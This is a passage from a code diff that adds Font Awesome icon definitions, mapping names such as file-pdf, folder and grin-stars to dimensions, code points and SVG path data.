48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z" ], + "file-audio": [ 384, 512, [], "f1c7", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z" ], + "file-code": [ 384, 512, [], "f1c9", "M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z" ], + "file-excel": [ 384, 512, [], "f1c3", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z" ], + "file-image": [ 384, 512, [], "f1c5", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z" ], + "file-pdf": [ 384, 512, [], "f1c1", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z" ], + "file-powerpoint": [ 384, 512, [], "f1c4", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z" ], + "file-video": [ 384, 512, [], "f1c8", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z" ], + "file-word": [ 384, 512, [], "f1c2", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z" ], + flag: [ 512, 512, [], "f024", "M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z" ], + flushed: [ 496, 512, [], "f579", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + folder: [ 512, 512, [], "f07b", "M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z" ], + "folder-open": [ 576, 512, [], "f07c", "M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" ], + frown: [ 496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z" ], + "frown-open": [ 496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z" ], + futbol: [ 496, 512, [], "f1e3", "M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z" ], + gem: [ 576, 512, [], "f3a5", "M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z" ], + grimace: [ 496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z" ], + grin: [ 496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + "grin-alt": [ 496, 512, [], "f581", "M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z" ], + "grin-beam": [ 496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z" ], + "grin-beam-sweat": [ 496, 512, [], "f583", "M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" ], + "grin-hearts": [ 496, 512, [], "f584", "M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z" ], + "grin-squint": [ 496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z" ], + "grin-squint-tears": [ 512, 512, [], "f586", "M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z" ], + "grin-stars": [ 496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 